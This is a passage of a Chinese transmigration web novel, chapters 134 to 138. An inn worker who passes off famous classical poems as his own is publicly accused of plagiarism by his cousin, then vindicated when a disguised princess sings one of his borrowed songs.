这个什么江公子,客栈的跑腿小厮,
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为什么所有**人物都认识他,而且一个个还对他如此尊敬!
侯府小姐与尚书千金便罢了,为何那性格孤高的归雁先生亦是如此?
这小子,他到底是何方神圣!
王承福的脑海中仿佛有一道惊雷炸响,可就在他看清了沈远修身后的人时,惊雷声停止了,甚至可以说,整个世界都安静了。
只见那一身儒袍的俊美小书童,在被沈远修宽厚的身体堵住去路后,默默从旁边绕了出来。
王承福一眼看清楚她的模样。
只一瞬间,他的时间好似陷入了凝滞,一道回忆汹涌袭来。
他认得对方!
几年前,新官上任的他曾受邀前往怀南城面见王爷,随后在南毅王府,有幸见过这位一次……
此时此刻,那小书童的脚步并没有停下。
她继续迈步从青衣女子和黑衣女子身边越过,最后缓缓停在江云帆跟前。
其实江云帆倒挺奇怪的。
他搞不明白,为何自己这位财神爷每次出门,都会特地乔装打扮一番,不是面纱遮脸,就是扮作侍童。
不过无论如何改变不了的,是那高挑修长的身姿,还有惊世骇俗的容颜。
唯独……胸前的规模小了不少。
也不知什么缘由,秦七汐此刻正满脸专注地盯着江云帆,那嘴角好像克制不住,不断地往上勾起,努力压下之后,却还是不受控制。
江云帆自然注意到这一点,开口便问:“秦小姐是在笑我?”
“没有。”
小郡主立马严肃,正色道:“我只是……想起高兴的事情!”
“呵……”
好好好,这样子模仿是吧?
……
第134章 废物,就该原形毕露
第一时间注意到小书童的人,除了王承福外,自然还有江云帆。
其实江少爷倒挺奇怪的,搞不懂为什么自己这位财神爷每次出门,都会特地乔装打扮一番,不是面纱遮脸,就是扮作侍童。
方才他甚至还很怀疑,眼前之人究竟是不是秦七汐。
思来想去,这高挑修长的身姿,还有那宛如天工雕琢的容貌,恐怕这世间无论是男人女人,都无人再能复刻。
唯独不同的一点……是胸前的规模克制了不少。
在登上二楼之后,秦七汐的脚步并没有停下。
她从王承福身旁越过,任对方面色惶恐目光呆滞,却完全视若无睹。
而后,又穿过青衣女子和黑衣女子各自让开的通道,一路行至江云帆跟前。
“江公子,我来赴约了。”
赴约,自然是指昨晚说好,要在今日午间前来秋思客栈,尝尝新品的菜肴。
听到对方的声音,江云帆总算是打消了心头那一丝疑惑,对方不是他的财神爷还能是谁。
每次看到秦七汐,他就好像看见了一大团行走的情绪值。
想到这,江云帆连忙露出一道职业假笑:“欢迎欢迎,秦小姐,那边还有空余的雅间,今天一定要试试我研究的新菜品,包您满意!”
“好。”秦七汐连忙点头。
她喜欢尝试好吃的东西。
尤其一想到这新菜品,还是江云帆创造出来的,她就很好奇。
书上说,大乾男女分工明确,男子主外攻文习武,女子主内上厅下厨。故而除非是依靠做菜谋生,不然很少有男人懂得厨房里的学问。
而江云帆……他好像总是出人意料。
正当这时,沈远修稍稍凑近了江云帆,轻抚胡须道:“江公子若有闲暇,不如领我们过去,顺便……你我也可坐下来聊聊天。”
听到这话,秦七汐把头点得更快了。
但仍呆站在楼梯口的王承福,此刻却瞬间瞪大双眼。
聊聊天?
怎么会这样?
能跟归雁先生坐在一起聊天的人,不是富贵显赫,便是诗才文豪,怎么会在这小小的客栈里当个跑腿小厮?
他若早知道此地还藏着这样的人物,刚才说什么也不可能上嘴脸啊!
就在沈远修和还等着江云帆回话时,一旁的墨羽却突然开口:“沈先生,眼下江公子恐怕还真抽不出时间。”
“哦?”
“先生请看那地面……”
墨羽伸手一指,指尖所朝之处,恰好躺着先前被王承福撞掉的酒盘,以及碎裂一地的壶盏残渣。
王承福心里当即一咯噔。
他有种不祥的预感……
果然,那一身黑衣的女子紧接着便说道:“方才王大人出门时,不慎与江公子撞在一起,导致这酒壶被摔碎。为迎接齐小姐莅临,王大人责令江公子立即打扫,这会儿他若随我们走了,回头恐怕就要吃牢饭了!”
“!!”
此话一出,率先满脸惊愕的齐之瑶。
不是,我才刚到,怎么这事还能有我的责任啊?
她皱眉看向王承福,正想质问一番。
却见对方已然脸色煞白,浑身哆嗦着,那臃肿的身体“扑通”一声便跪倒在地。
“都……都是我的错,是我不长眼,撞了酒盘不说,还把责任推到江公子身上……还有,押入监牢也是我胡说的,给我十个胆子我也不敢啊!”
此刻王承福已然彻底慌了,身形剧颤之下,他连忙吩咐两名衙役:“你们,快……快去把地面打扫了。”
“是!”
两人正要动,却被墨羽叫住:“也不是他俩撞的吧。”
“我我……我来打扫,我来打扫。”
王承福索性也不从地上站起来了,就这样跪在地上,连滚带爬来到那堆残渣前,然后徒手将凌乱的碎片挨个捡进托盘。
那狼狈模样,与先前的嚣张跋扈判若两人。
这会墨羽来到秦七汐身边,将刚才发生的事情一五一十说了。
小郡主原本带着几分疑惑的脸,突然阴沉下来。
她并未开口说话,只默默看了王承福一眼,随即转向江云帆:“走吗?”
“走。”
江云帆点头,转身离开时,朝王承福挥了一下手:“王大人莫忘了,我还是那句话,这酒不便宜,别忘了结账!”
“明白,明白……”
这酒当然不便宜。
但凡闻到茅台酿酒香的,都心知肚明,这酒乃是当世佳品,故而卖得极好。
江云帆酿造的第一批,如今已然所剩寥寥,涨价那也是应该的。至于涨多少,他打算等下跟白瑶商量商量,总之一定不
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让王大人笑着出去。
但江云帆不知道的是,王承福要付出的代价还远不止这点。
“青璇。”
正迈开脚步,秦七汐便朝身旁的青衣女子使了个眼色。
后者心领神会,点头领命之后,立刻转身离去。
许灵嫣远远看见这一幕,心中已然为王承福奏响了哀乐……王大人要遭殃了!
她对秦七汐的了解并不算多,但很清楚一点。
那就是这位郡主殿下,并不具备皇族血脉应有的那种心怀天下的大爱,甚至,反而十分护短。
只要是她珍视的东西,绝不容忍别人冒犯。
这倒是让许灵嫣很意外,难道说,江云帆这小子,已经成为了让秦七汐珍视的人?
不,不可能!
江云帆能有什么过人之处?废物永远是废物,秦七汐估计也是被他那几首诗词给骗了。
待到真相公之于众,得知江云帆依旧是个彻头彻尾的蠢货时,她一定会认清现实!
“灵嫣。”
就在这时,秦七汐的声音自前方传来,“你要一起吗?”
许灵嫣微微一愣。
思索片刻后,她摇了摇头:“我还有些事,等办完之后再来寻你。”
秦七汐点头,没再回应。
这边许灵嫣收回目光,立马转头对小缘道:“我要去见个人,你速去客栈外面,看看侯茂杰两兄弟到了没有。”
“是,小姐。”
两人一同转身,“咚咚咚”下了楼。
小缘听从吩咐,径直出了客栈大门。
而许灵嫣则在大堂之中一番寻找,最后在靠近西窗的桌边,见到了江元勤与吕家一群人,以及刚加入的程修齐。
此时江家二少爷正和吕兰萱聊得火热,两人有说有笑。
陈子钧坐在一旁,本就被打得有些红肿的脸,憋得一阵青一阵白,却是半句话也插不上。
直到许灵嫣前来,江元勤这才停下了闲聊,起身迎接。
“许小姐。”
许灵嫣开门见山:“江公子,证物可已准备妥当?”
江元勤的嘴角,忽地嘴角咧开一抹笑容。
“那是当然,我已经能想象到那小子看见这些东西的时候,会是怎样一副楚楚可怜的表情了,哈哈哈哈……”
“废物,就该原形毕露!”
……
第135章 这样子模仿是吧?
尽管是七月初八,前来镜源县参加灯会的游客多已离开。
但今日的秋思客栈,相比往日依旧繁忙许多。
到了临近正午之时,便已经出现排队候桌的情况。
之所以这么多人,原因无他,昨夜客栈诗酒之邀,那一首《桃花庵歌》,迅速在文人墨客之间传开,当下已有无数人将其奉为百年佳作。
实际上,若非昨日同一时间,在那花市街的歌舞会上,另有一首惊世之词作——《明月几时有》凭空问世,只在一夜之间便彻底席卷大半个县城。那么这首《桃花庵歌》,必定会成为万灯节这日最为耀眼的存在!
故而今日,许多人都亲自来此,想在离开镜源县前,看看传言中那位写下这首诗的客栈小二,究竟长什么样。
“敢问小兄弟,你可知晓那首《桃花庵歌》的作者,现在何处?”
“不知道。”
“那你可知那人姓名长相?”
“不知道不知道,都说了不知道!”
站在大门口迎客的小李一脸烦躁。
自接到齐之瑶,却被对方拒绝同行,再到换杂工服,主动到位站岗之后,他已经数不清多少次被人问起这个问题了。
其实他哪里会不知道。
昨日江滢上台把那首诗一句一句念出来,并且说是她哥哥所写之时,他就在现场,而且离得很近。
他只是无法理解。
一首诗而已,为什么所有人都要对其趋之若鹜?
齐小姐如此,这些一个个穿锦戴绣的富贵文人亦是如此,为了找一个写诗的人,多远都不嫌麻烦。
诗能当饭吃吗?
难道不会写诗,就注定无法受到别人的关注吗?
小李尤其不服的是江云帆,凭什么大家都是小杂工,他的运气就那么好,既能得到老板娘的欣赏,还能成为所有人竞相争抢的对象?
“咳……”
就在这时,眼前传来的一声轻咳,将小李从沉思中拉回。
他抬起头,只见一位身着紫色锦衫,一眼便来自富贵人家的公子正笑吟吟站在眼前。
小李当即一脸无奈:“公子若是想问《桃花庵歌》,就请找其他人吧。”
“我不问那首诗,就找你。”
“找我?”
“没错,找你帮我一个小忙。”那富贵公子说着,伸手便从怀中掏出一锭白银。
小李眼中立马现了几分神采。
那银子虽不如昨日齐小姐的那锭大,却也抵得上他几个月的工钱。若能拿到手,他立马就能抛了这小二的身份,去过自己想要的舒坦日子。
想到这,小李立马喜笑颜开:“公子请随意吩咐。”
“很简单,只需你将外面路口处的立牌拿进来,放上大堂的高台,然后将这几张书纸贴在上面即可。”
“就这么简单?”
小李伸手接过对方递来的几张纸,低头一看,上面歪歪斜斜写着一些文字,不太能辨认得出内容,但显然作词之人书法不行,每一个字都只能用奇丑无比来形同。
“没错,就这么简单,事成之后,这银子就归你了。”
“好!”
小李没有丝毫犹豫,果断转身朝着外面路口走去。
看着他的背影,江元勤笑里带恨。
“江云帆啊江云帆,接下来,就该有好戏看了!”
……
江云帆领着秦七汐与沈远修,来到了客栈二楼的最东侧。
这里还有一间雅阁,名为凌波阁。
与山水阁不同,此处虽然面积更小,所处位置也相对较偏,但风景却是完全不输。
因为位于最边缘,故而两面有窗,一面对着一望无际的镜湖,另一面则恰好能够看见远处的桃花山。
江云帆本想去取些饭前甜点,却被沈
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远修硬生生拉进了包间。
无奈之下,只得与对方在窗边的茶桌前相对而坐。
秦七汐再度发挥了书童的作用,主动拿起桌上的茶壶,为两人各自斟上半杯。
对此江云帆十分纳闷。
秦七汐姓秦,无论是皇室族亲,还是御赐国姓,其身份地位都必然不低。要不然昨夜镜湖之畔,身为尚书之女的许灵嫣,和侯府大小姐的齐之瑶,也不可能在见到她时敛神收色,不敢与之相争一句。
而且江云帆刚才还注意到一个细节。
王承福下跪时,所朝的方向不是他,也不是沈远修,而是秦七汐。
那眼中的恐惧,骗不了人!
想到这,江云帆下意识地转头看向侍立一侧的小书童。
也不知什么缘由,秦七汐此刻正满脸专注地盯着他,那嘴角好像克制不住,不断地往上勾起,努力压下之后,却还是不受控制。
江云帆自然注意到这一点,开口便问:“秦小姐这是在笑我?”
“嗯?没有。”
被发现了,小郡主立马严肃表情,一脸正色道:“我只是……想起高兴的事情!”
“呵……”
好好好,这样子模仿是吧?
江少爷也是万万没想到,自己抄来抄去,抄了别人一辈子。而有朝一日,居然能让眼前这么个娇滴滴的姑娘给抄了!
他也懒得计较许多,转头面对沈远修。
“沈先生,有什么话就请直说吧。”
江云帆知道,对方既然已经找上门来了,那就是铁了心要探索他的秘密,今天可能免不了一场大盘问了。
“哈哈哈……江公子不必紧张。”
沈远修边笑边抚胡须,看着江云帆时,目光里的喜欢都快溢出来了,“老朽今日来,依旧是与昨日相同的目的,那就是想与你结上一场……师徒之缘!”
……
第136章 家贼难防
午时镜湖的天空,一如早晨那般灰蒙蒙。
即便到了此刻,阳光也依旧未能穿透云层。若要凭窗远望,顺着茫茫湖面延伸,只能看见远处的山脚,却不见没入云中的山峰。
而自另一侧的窗户看去,那原本粉红一片的桃花岭,随着近日桃花凋谢,已然暗淡了许多。
此情此景,倒是让江云帆想起了季云苍那老头。
也不知开往京城的小船,此时已经游到了哪里。往后那漫山遍野的晚桃,恐怕就只能由自己一人享用了。
说起来,季云苍与眼前体态宽硕的这位,倒是渊源颇深。
“入云归雁”、“江南双杰”,三十年前江南乃至整个大乾的风云人物,最后人生轨迹大相径庭,但又都和南毅王府扯上了关系。
一个当了王府的幕僚,另一个,更是将女儿嫁给了南毅王。
江云帆也不知道,季云苍让他寻找的那位郡主外孙女,究竟是怎样一个人。
“江公子,这湖上雾景如此宜人,不如作诗一首,以记心中所感?”
江云帆默默回过头来。
目光看向茶桌对面的沈远修,心道这老头真的魔怔了,动不动就让作诗,当真以为他脑子里那些千古名篇是什么烂大街的货?
“还是聊正事吧,沈先生特地寻我,是有什么话要说?”
江云帆知道,对方既然已经找上门来了,那就是铁了心要探索他的秘密,今天可能免不了一场大盘问了。
“哈哈哈……江公子不必紧张。”
沈远修边笑边抚胡须,看着江云帆时,目光里的喜欢都快溢出来了,“老朽今日来,依旧是与昨日同样的目的,那就是想和你结上一段……师徒之缘!”
好一个师徒之缘,这老头还是不死心。
但江云帆又怎可能肯松口?
呵,让他读书,这辈子都不可能!
“这件事……恕在下实在难以从命。”
江云帆一本正经道,“沈先生有所不知,我这人嘛,没什么文化,而且不喜欢读书,一看见书就头疼……唉,若真当了您的学生,早晚给您丢脸!”
“……”
沈远修把眉毛胡子都皱在一起了。
他抬头与秦七汐相视一眼,都从对方眼中读出了几分怪异。
这江公子,可真能演啊!
不想拜入门下,找个其他理由拒绝便也罢了,偏偏说自己不喜欢读书,没文化?
且不论镜湖文会那晚的“东风夜放花千树”是不是由他所写,就念荷亭中的“接天莲叶无穷碧”,昨夜那首《桃花庵歌》,以及秦七汐所亲耳听到的“明月几时有”,无论是其中哪一篇,都足够成为影响大乾文坛走向的绝世佳作。
而偏偏同时写出这几首诗词的江云帆,说自己没什么文化!
若这都叫没文化,那全天下怕是无一人识字了。
“好吧,既然江公子执意不肯,那老朽便也不再为难了。倒不如,咱们聊聊昨晚那首诗,如何?”
听到沈远修这话,秦七汐也立马来了精神。
昨夜回船太晚,并未听到传言。
她正好奇秋思客栈的诗酒会上发生了什么事,江云帆又出了一首怎样的妙作。她找不到合适的机会开口问,现在好,老师竟主动帮她提起了。
“昨晚那首诗?”
江云帆忽然满脸疑惑,“什么诗?”
“江公子莫要再装了,昨日令妹江滢已然告知,那首《桃花庵歌》,正是由你亲手所写。”
其实沈远修这一生,基本都浸淫于词道之上。
对于诗歌,他的理解不深,之所以想和江云帆聊聊《桃花庵歌》,只因昨晚在湖畔
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与那季云苍畅谈,得知对方对这首诗喜爱至深。
他很好奇,这老家伙十年来究竟发生了怎样的变化?或许能从这首诗中寻到答案。
不过,江云帆这会已经叫苦不迭了。
千防万防,果然还是家贼难防!怕的永远是猪队友,自己这小妹,还真是什么都往外捅啊。
好在,江云帆正考虑如何解释之时,包间门忽然被敲响。
沈远修一回神,无奈朝外面喊了一句:“进。”
“吱呀!”
门是负责在外守卫的墨羽打开的。
不过说曹操曹操到,端着一张木托盘走进来的,正是江滢。
“哥,**姐让我给二楼的贵宾送些茶水和甜点。”
“好,我来吧。”
江云帆连忙起身准备去接,想着正好借此机会来转移刚才的话题。
却不知,那一身儒袍的挺拔身影竟抢在了前头。
“给我就好。”
秦七汐伸手便接住江滢手里的木托盘,而后嘴角浮现出一抹微笑,“你就是江公子的妹妹?”
江滢此刻已然呆了神。
她看着近在咫尺的小书童,只感觉周遭的空气都快凝固了。
好美的一张脸!
明明是一身男子的打扮,却有着宛若天仙一般的面孔,而且就连嗓音也是女声。
似乎是女扮男装。
那她与哥哥有得这么近,莫非是……
江滢心中正疑惑,却就在这时,自那客栈大堂的楼下,忽然传来一道令她浑身颤抖的声音——
“诸位!”
“我乃凌州江家长房次子,江元勤,当朝二甲进士。我知道你们多是为了昨夜那首诗而来,那作诗之人,与我相熟!”
“不过在公布他的身份之前,我认为应当将真实的他,展示给所有人!”
……
第137章 连通两界的桥梁
果然,江元勤蓄谋已久,如今终于发难了。
第一时间听见这话的不止江滢,在这凌波阁中的每个人,都隐隐听清了其中的重点,是关于江云帆。
“外面何人喧哗?”沈远修扬起头来。
墨羽抱拳应道:“禀沈先生,是凌州江家的二公子,江元勤。”
“……”
沈远修默默皱起了眉头。
其实昨日在知晓江元勤与江云帆是堂兄弟后,他还察觉到,两人之间似乎是有过节的。
对方搞这一出,恐怕不是好事。
此时秦七汐转过头,伸长雪白的天鹅颈,似乎想要看看楼下的情况。
但这角度显然什么也看不见。
耐不住心中好奇,她朝沈远修点头示意,随后迈步便走出门去。
“哥……”
江滢有些慌乱,回头茫然地看着江云帆。
直到此刻,她都还不明白江元勤究竟要做什么。
不过江云帆倒是大致猜到了一二。
“滢滢别担心,随他作吧。”
其实从近两日,江元勤贡献给他的好几波情绪值来看,就知道对方已经被连续震惊和打脸了不少次。
一向耀武扬威,优越惯了的江家二公子,显然接受不了这样的委屈。
所以,江元勤这是要想方设法,让他身败名裂。
只能说……干得漂亮!
江云帆正担心因为那几首诗词,自己会受到过多的关注,从而没办法低调生活。
还是堂哥好,总会在恰到好处的时候,为他洗清嫌疑,排忧解难。
……
客栈二楼,山水阁。
当王承福将地上的残屑清扫干净后,还是收到了齐之瑶的邀请,让他进屋落座。
在他迈步踏入雅阁大门前,两名跟班的杂役在后面满脸愁容。
“这次似乎得罪了不得了的人物,恐怕麻烦大了。”
“是啊,我看刚才齐小姐都在尽力划清界限,若对方真要发难,或许连开阳侯也保不住咱们!”
两人在后面小声议论。
但王承福耳朵灵,将那一字一句全数听清。
一时间,他的脸色变得如同猪肝。
不过很快便又缓和了几分,开口道:“怕什么,本大人自有办法保住头上这顶官帽,只要我不倒,你们就不会有事!”
两人顿时一喜:“大人找到更厉害的靠山了?”
“不是靠山。”
王承福眼中泛起一抹光彩,“你二人可有听闻,昨日在万灯节之际,这县城内外共有一诗一词两篇佳作问世?”
两人连连点头。
他们当然知晓这两篇大作,毕竟整个坊间已然传遍。尤其是歌舞会上出现的那一首“明月几时有”,不到天明时分,便已满城皆知。
只是两名衙役不明白,这跟靠山又有什么关系?
“这两篇佳作,和那作诗赋词之人,便是我王承福的靠山!”
此时此刻,王承福的脸上满是自信。
大乾崇文,哪怕是当今陛下,也酷爱诗词。而在这小小一座县城之中,同时出了两首百年不遇的奇作,镜源隐隐已有成为“大乾诗词第一县”的势态。
而他作为县令,那便是治县有方。
若是能再寻到写下那一诗一词的两位大才,再以自己父母官的身份授予重赏,并与其搞好关系,那么便相当于拿稳了一块免死金牌!
“你二人速去打探,找到昨日这客栈中那首《桃花庵歌》的作者。”
两名衙役心领神会,急忙抱拳:“大人英明,小的这就去!”
两人离开后,王承福迈步走进了山水阁。
此刻包厢内有两人,齐之瑶坐在餐桌正位,旁边则是一名身着淡粉襦裙的美艳女子。
“王大人,你可知坏了我多大的事?”
齐之瑶一脸埋怨,看向王承福时眼中闪过一抹厉色。
若非念及对方是东道主,这雅阁又是由他包下,正在气头上的许灵嫣是断然不会让他进来。
“齐小姐请息怒。”
感受到齐之瑶的气愤,王承福立马露出一抹谄媚的笑容,“事前下官确实不知那位江公子是您的朋友,不过都是一场误会,待我回头再送他些厚礼,此事也就过去了。”
“过去了?”齐之瑶苦笑,“你可知我此番前来,目的是为何?”
“是……寻昨夜那位,在歌舞会上弹琴吟曲的公子?”
“你也知道啊。”齐之瑶脸色再度阴沉了几分,当即大声怒斥,“方才被你刁难的江公子,便是我要寻之人!”
“什么?”
听到这话,王承福瞬间瞪大双眼。
这怎么可能?
昨夜他虽未到歌舞会现场,未曾亲耳听到那支曲,却在事后听人转达了那首词文的内容。
他惊为天物!
在王承福的认知里,能写下此等篇章的人,定是那种年过半百,感受了半生世事的老儒者。
可刚才那个江公子,从外表看,甚至尚未及冠。
这种青年小子,怎可能写出那样超尘脱俗的词曲?
一时之间,王承福只觉得后脊发凉。
若真是如此,那自己的免死金牌,不就反倒成悬顶利剑了吗!
“咚咚……”
就在这时,包厢门忽然被敲响。
一名体型健硕的男子出现在门口,王承福认得对方,那是齐之瑶的护卫。
“小姐,关于那位江公子,楼下有情况。”
齐之瑶抬头,又与旁边的翩翩相视一眼。
随即两人一同起身,迅速迈步走出山水阁,并穿过环廊,来到二楼的围栏边缘。
从这个角度看去,恰好能够看见一楼大堂的高台。
那台上此刻正站着两人,一个身披紫色锦衣,另一个则穿着秋思客栈的杂工服,在旁边竖下一块立牌。
堂中鸦雀无声,一众客人纷纷将视线聚焦台上。
直到其中一人站起身来,打破:“江公子,听闻写下那首《桃花庵歌》之人乃是阁下同堂族弟,为何他昨晚不肯亲临现场?”
“这正是今天我要说的。”
江元勤缓步来到台前,一脸严肃,声音铿锵:“我凌州江家,虽不是什么一流豪门,但在凌州城内,也算得上口碑颇佳。也正因如此,决不容许族中有借盗他人作品谋名图利的败类存在!”
“借盗他人作品?”
此话一出,台下众人立刻瞪大双眼。
位于西窗桌旁的陈子钧忽然站起身来:“江公子言下之意,昨夜那首诗,乃是令弟通过剽窃得来?”
方才坐在一起时,经过一番交谈,他便已经得知之前打自己的那小厮,就是江元勤的弟弟。
两人一拍即成,打算在江元勤揭露江云帆谎言时,在台下相互配合。
江元勤一脸正色:“没错!”
“竟是如此!”
一刹那,现场气氛直接被点爆了。
“剽窃他人诗作据为己有,甚至还妄图借此扬名,这厮简直就是我等文人之耻!”
“要当真如此,导致此诗原本的作者被埋没,岂不冤屈滔天?”
“亏我还延后归期来访此地,欺世盗名,此僚当诛!”
一番喧吵过后,终于有人站了出来。
正是同样位于西窗前的吕文睿:“江公子,你说此话,可有依据?”
“自然是有的。”
江元勤拿过杂工小李手中的立牌,将其展示在众人面前。
那上面,正贴着一张一张的纸稿。
而纸稿上,尽是歪歪扭扭的文字。
“这些,便是我那弟弟几个月前抄录的诗文。”
江元勤沉声道,“在场若有凌州人士,也许或多或少都对我这弟弟的能力品行有所耳闻。他十岁目不识丁,十三岁念不完一首诗,从文、习武、学医、入厨、打铁,家里花费无数钱财资源培养,可他即便到最后也一成不就!”
“我听说过此人!”
台下有人抬手附和,“江家三少爷,不学无术便也罢了,他还经常日不留家,夜不归宿,与那有夫之妇厮混!”
“不仅如此,他还当街行恶,掀了城东王老太的菜摊,又让手下打掉人家老伴两颗牙!”
“原来是此等败类,看他写这字,有如鬼画桃符!这样的人,如何能作出《桃花庵歌》那样的妙作?”
“……”
江元勤听着众人的声讨,心知自己想要的效果已经达到了。
但他依旧保持着满脸严肃,又从怀中掏出一封锦书:“诸位,今日我站在此处,就是要声明一点。三个月前,家中祖父已把江云帆逐出家门,驱逐文书在此!故而今后,他在外做出任何恶事,都与我江家无关!”
“做得对,这种人就该驱逐出门!”
“没错,他若能写出《桃花庵歌》,那对我等苦学十余载的人来说,何其不公?”
众人的怒气瞬间被点燃,声讨越来越烈。
二楼凌波阁中,沈远修听得逐渐皱起了眉头。
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>他转头看向江云帆,轻笑道:“江公子当年,还真是……性情奇特啊!”
江云帆都无语了。
江元勤这家伙为了搞他,还真是无所不用其极。
其实关于掀菜摊和**的事,在原主的记忆中真实存在。不过事实却是,江元勤在出行时被王老太的白菜绊倒,一气之下掀了人家菜摊,又打伤上前阻拦的王老头。
为保名声,事后通过威胁,让原主出来背了锅。
不过江云帆也不打算解释许多,只开口道:“沈先生也听到了吧,我呢,只是个一无所长,总是让家族蒙羞的废柴。若非梦中受启,也绝不可能写出念荷亭中那首诗,所以先生,还是打消收徒的念头吧。”
沈远修抚须一笑,并未回应。
但很快脸色便沉了下来。
他想起了三月之前,他在怀南城观星楼上看到的那一幕。
异星凌空,直冲文曲,霄汉动荡,混乱无章……大乾文坛,定有翻天覆地之大变革!
而恰好,江云帆被逐出江家的时间,也在三个月前。
毫无疑问,如今的江云帆对比当初的江家三少爷,无论是从行为还是才华来看,都判若两人。
就像近日沸腾的大乾文坛对比当初的一潭死水,有着天壤之别。
一个人要想在短短时间里,从一个极端变成另一个极端,自然是不可能的。所以沈远修似乎有些相信江云帆的话了。
难道,那日天空异象的表现不同常理,也许正如江云帆所说,是通过梦境启示,让那些本该只存在于天界的作品,降临人间……
他想不明白。
但可以确定的一点,便是即便那些诗词当真来自天界,那江云帆,也是连通两界的唯一桥梁!
想到这,他伸手从衣服夹层中,取出了一张色泽鲜红,有金边镶嵌的纸贴。
在那纸贴的四角,还各自印着一道九龙图纹。
“十日之后,便是南毅王府一年一度的大宴。这是此番来镜源县前,王爷特地让我交给江公子的邀请函,还请公子赏脸光临,来回行程皆由王府负责,届时老夫定在门前相迎!”
“……”
看着沈远修那一张笑脸,江云帆陷入了沉思。
秦奉亲自给他准备的邀请函?
堂堂南毅王,怎会认得他区区一介平民?
或许唯一的解释,便是当初镜湖文会上投下的那首《青玉案·元夕》,传到了秦奉耳朵里。而沈远修,已然把他认定为那首词的作者了。
想到这,江云帆伸手将邀请函接了过来,并朝沈远修抱拳。
“多谢先生,不过特意迎接就不必了,若有闲暇,到时我会去的。”
去……那自然是不可能去的。
接受邀请函也只是不想与对方拉扯。
毕竟,能去王府参加宴会的人,必然是江南乃至大乾的顶级贵族,就连凌州江家都没这个资格。
那些人,与他不属于同一个圈子。
而且最近这段时间,江云帆感觉自己已经够崭露头角了,若再去王府溜达一圈,说不定这辈子的隐居计划,就得彻底泡汤。
“好,但愿江公子真有闲暇。”
沈远修也知道,如果江云帆执意不肯,自己也无法勉强。
他转头看向门外,此时大堂中的喧哗仍在继续,其中咒骂指责声不绝于耳。
“江公子不去解释一番?”
江云帆一口将杯中茶水饮尽,起身走到窗边,目光看向远处的桃山。
“人生在世,顺遂自然,何必在意他人眼光?”
好一个顺遂自然!
要说眼前的男子,是江元勤口中那个一无所用的傻子,沈远修是绝对不相信的。
他身上的气质,即便是自己这个年过七旬的老人,也会忍不住着迷。
“当啷啷……”
忽而此时,不知从客栈之中的何处,飘来一阵婉转的琴声。
沈远修当即一愣。
这琴乐的节奏与技巧,他无比熟悉,不正是自己那位老友所创的独特指法吗?
楼下的喧哗声,随着这道琴声的响起,立刻衰减了不少。
站在窗边的江云帆更是满脸凝重,这旋律,不正是自己昨晚弹奏的那首……
果不其然!
待前奏结束,一道清冷悦耳的女声,不知从客栈中的何处响起,只在一瞬间便穿透每一处空气,传遍各处!
“明月几时有,把酒问青天……”
……
第138章 神仙姐姐
“明月几时有,把酒问青天。不知天上宫阙,今夕是何年。”
“我欲乘风归去,又恐琼楼玉宇。高处不胜寒……”
那悠扬的歌声带着空气一同起舞,随着一阵微徐的湖风传遍各处。
这一刻,秋思客栈原本喧吵的大堂,忽然变得鸦雀无声。
时间仿佛在此定格。
一些人坐在原地发愣,也有刚才为声讨江云帆而起身振臂高呼的,而今呆傻在原地,竟忘记将手放下。
包括站在台上正满脸得意的江元勤。
那嘴角的笑意逐渐消失,取而代之的是瞳孔收缩,胸口闭气,目光茫然巡弋。
何等精妙的琴律?
何等优美的歌声?
明明是于一处而生,此刻对于江元勤来说,却好似自四面八方席卷而来,让他根本就找不到那声音的源头。
他曾在帝京生活多年。
皇城以南的乾乐坊,可谓集中了全天下最有名的乐师唱者,最动人的词曲旋律。
但即便是在那里,江元勤也没有任何一次,体会到如同眼前这般的绝妙!绝的是琴乐,妙的是人声,而真正又绝又妙的,是那一句句直透灵魂的歌词!
如生于仙境,又描绘仙境一般的词……
太美了!
江元勤自幼钻研词道,曾先后从师于凌州及国经院的两位大儒,自认造诣深厚。
可在这首词面前……不仅是他,哪怕是那些顶级大儒,也如同渺小尘埃。
时间悄然,那旋律与歌声依旧在继续。
为找寻能够对付江云帆的证据,昨晚江元勤连夜赶回了凌州,在取到东西之后,又马不停蹄赶了回来。
故而在此期间,他并没有听到有关这首词曲的传言。
故而此时第一次听到,他心中的震撼,也如汹涌的滔天巨浪,越堆越高,越压越近!
直到那一句悠然传来……
“人有悲欢离合,月有阴晴圆缺,此事古难全。”
“……但愿人长久,千里共婵娟。”
顷刻间,江元勤心中那巨浪自高空直坠而下,尽数压过头顶——
轰!!
“扑通!”
一声闷响,江元勤双膝瞬间失衡,仿佛受到重压,狼狈跪地。
这……真是凡间之词?
江元勤不信,他只知道这词配上这声,这乐,三者相辅相成。
成就了他心中的至高无上!
……
【叮叮叮叮……】
【叮,震惊达成,来自江元勤的情绪值:+345!】
客栈二层,凌波阁内。
脑中传来的锐鸣接连不断,震得江云帆有些头皮发麻。为避免滑倒,他选择用手撑住窗沿,勉强维持着身体平衡。
而就在那一道道情绪值到账的提示音中,他很快便提取到江元勤的名字。
345点。
不得不说,这家伙虽然人品不咋地,但贡献情绪值的力度倒还挺可观。江云帆喜欢这种人,既有不错的奖励倍率,又可以毫无心理负担地狠狠打脸,赚的都是良心情绪值。
如果可以,他愿意天天逮着江元勤滋。
“呃!”
正当江云帆沉思之际,一旁茶桌前的沈远修忽然浑身一颤,自喉咙深处发出一声哽咽。
江云帆扭头一看,发现他的四肢正死死绷紧,甚至还带着几分微颤。
江少爷心道不妙,连忙上前查看。
“沈先生你怎么样,需不需要帮你叫郎中?”
沈远修抬头看来,一口气自下腹升腾而上,最后狠狠吐出:“呼……啊哈。”
一瞬间,身体放松,不过那紧锁的眉和瞪圆的眼,却是半点也没舒展。
“好词,好乐,人间仙品!”
【叮,震惊达成,来自
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沈远修的情绪值:+315!】
好家伙。
江云帆顿时松了口气,敢情这老头儿是被惊傻了啊。
也怪不得,年纪大了,受点刺激容易缓不过来,看来以后在对付这种老家伙的时候,得稍微悠着点。
“吱呀——”
就在这时,凌波阁的门忽然自外被推开。
先前出去查看情况的江滢,此刻又匆匆忙忙回到包厢内,看向江云帆时满脸都是惊讶和意外。
“哥,你听见了吗?”
“听见什么?”
“那首歌啊,听声音,好像是刚才那个神仙姐姐唱的!”
江云帆无语未答。
神仙姐姐……自己这小妹是懂形容的,有一种跨越平行空间,并且领先至少千年的超前思维。
不过这首歌,江元勤当然知道是刚才那个神仙姐姐唱的。
毕竟,秦七汐独特的不止容貌,还有银铃般的嗓音。不像许灵嫣那样,空长了一副好皮囊,说起话来却是自带刻薄尖酸。
所谓仙颜配天籁,就应当如此。
只是江少爷很意外,这人的记忆力未免也太好了点!
昨夜只是在歌舞会上,听自己弹唱了一遍《水调歌头》。
